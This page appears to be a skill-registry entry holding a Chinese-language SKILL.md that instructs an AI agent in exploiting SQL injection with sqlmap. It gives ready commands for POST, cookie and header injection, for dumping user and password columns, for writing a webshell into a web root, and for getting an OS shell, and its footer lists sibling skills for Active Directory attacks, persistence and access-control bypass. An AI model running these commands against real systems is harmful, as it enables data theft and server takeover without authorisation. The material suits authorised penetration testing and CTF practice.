sqlmap-advanced

$npx mdskill add wgpsec/AboutSecurity/sqlmap-advanced

Automate SQL injection with sqlmap's advanced techniques.

  • Handles POST, cookie, and header injection scenarios.
  • Integrates tamper scripts and technique flags for bypass.
  • Executes OS shell commands and file read/write operations.
  • Outputs logs via tee to temporary files for review.

SKILL.md

.github/skills/sqlmap-advancedView on GitHub ↗
---
name: sqlmap-advanced
description: "sqlmap 高级用法完整参考。当确认存在 SQL 注入需要用 sqlmap 自动化利用时使用。覆盖 POST/Cookie/Header 注入、tamper 脚本选择、--technique 精确控制、二次注入、OS shell/文件读写、数据库提取优化"
metadata:
  tags: "sqlmap,sql injection,tool,tamper,bypass,waf,os-shell,file-read,file-write,数据库,注入工具"
  category: "tool"
---

# sqlmap 高级用法完整参考

## 超时控制(强制执行)

sqlmap 可能运行很长时间。**必须用 timeout 包裹**:

```bash
timeout 480 sqlmap [参数] --batch 2>&1 | tee /tmp/sqlmap_output.log
# 超时后立即查看已有结果
tail -80 /tmp/sqlmap_output.log
```

## 深入参考

- tamper 脚本速查表 → [references/tamper-reference.md](references/tamper-reference.md)
- 高级用法详细命令(OS Shell/文件读写/二次注入/性能调优) → [references/advanced-usage.md](references/advanced-usage.md)

---

## Phase 1: 基础检测

### GET 参数注入

```bash
timeout 480 sqlmap -u 'http://target/page.php?id=1' \
    --batch --random-agent --level 2 --risk 2 \
    2>&1 | tee /tmp/sqlmap_output.log
```

### POST 参数注入

```bash
timeout 480 sqlmap -u 'http://target/login.php' \
    --data 'username=admin&password=test&submit=Login' \
    --batch --random-agent --level 2 --risk 2 \
    2>&1 | tee /tmp/sqlmap_output.log
```

**关键**:`--data` 中包含所有表单字段(尤其 submit 按钮),PHP 常用 `isset($_POST['submit'])` 校验。

### Cookie 注入

```bash
timeout 480 sqlmap -u 'http://target/page.php' \
    --cookie 'user_id=1; session=abc123' \
    --level 3 \
    --batch --random-agent \
    2>&1 | tee /tmp/sqlmap_output.log
```

### HTTP Header 注入

```bash
timeout 480 sqlmap -u 'http://target/page.php' \
    --headers 'X-Forwarded-For: 127.0.0.1*' \
    --level 5 \
    --batch --random-agent \
    2>&1 | tee /tmp/sqlmap_output.log
```

星号 `*` 标记注入点位置。

### 从 Burp 请求文件

```bash
timeout 480 sqlmap -r /tmp/request.txt \
    --batch --random-agent --level 2 --risk 2 \
    2>&1 | tee /tmp/sqlmap_output.log
```

---

## Phase 2: --technique 精确控制

| 字母 | 技术 | 适用场景 |
|------|------|----------|
| B | Boolean-based blind | 有布尔差异(页面内容变化) |
| E | Error-based | 有报错回显 |
| U | UNION query | 有数据回显 |
| S | Stacked queries | 支持分号(MySQL、MSSQL、PostgreSQL) |
| T | Time-based blind | 无任何差异(最后手段) |
| Q | Inline queries | 子查询注入 |

```bash
# 只用 UNION + Error(最快)
sqlmap -u 'URL' --technique EU --batch

# 跳过耗时的时间盲注
sqlmap -u 'URL' --technique BEUS --batch
```

**建议**:先用 `--technique EU` 快速检测,失败再加 `B`,最后才试 `T`。

---

## Phase 3: 数据提取

```bash
# 1. 列出所有数据库
sqlmap -u 'URL' --dbs --batch

# 2. 列出指定库的表
sqlmap -u 'URL' -D target_db --tables --batch

# 3. 列出指定表的列
sqlmap -u 'URL' -D target_db -T users --columns --batch

# 4. 提取数据
sqlmap -u 'URL' -D target_db -T users --dump --batch

# 5. 只取特定列
sqlmap -u 'URL' -D target_db -T users -C username,password --dump --batch

# 6. 限制行数(大表时)
sqlmap -u 'URL' -D target_db -T users --dump --start 1 --stop 10 --batch

# 7. 搜索关键表/列
sqlmap -u 'URL' --search -T flag --batch
sqlmap -u 'URL' --search -C password --batch
```

---

## 实战速查

| 场景 | 命令关键参数 |
|------|-------------|
| 快速检测 | `--technique EU --level 1 --risk 1` |
| 深度检测 | `--level 5 --risk 3` |
| POST 表单 | `--data 'param1=val1&param2=val2'` |
| Cookie 注入 | `--cookie 'x=1' --level 3` |
| WAF 环境 | `--tamper=space2comment,between --random-agent` |
| 读 flag 文件 | `--file-read=/flag.txt` |
| 写 webshell | `--file-write=shell.php --file-dest=/var/www/html/` |
| 拿系统 shell | `--os-shell` |
| 二次注入 | `--second-url URL` |
| 搜索 flag | `--search -T flag` 或 `--search -C flag` |

## 注意事项

- `--batch` 自动选择默认答案(必加,agent 无法交互)
- `--risk 3` 可能执行 UPDATE/DELETE,有风险环境慎用
- `timeout 480` 最多跑 8 分钟,超时检查已有结果
- sqlmap 会缓存结果,重跑同目标用 `--flush-session` 清除缓存
- 如果 sqlmap 检测不到注入但手工确认存在 → 用 `--prefix` 和 `--suffix` 手动指定闭合

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|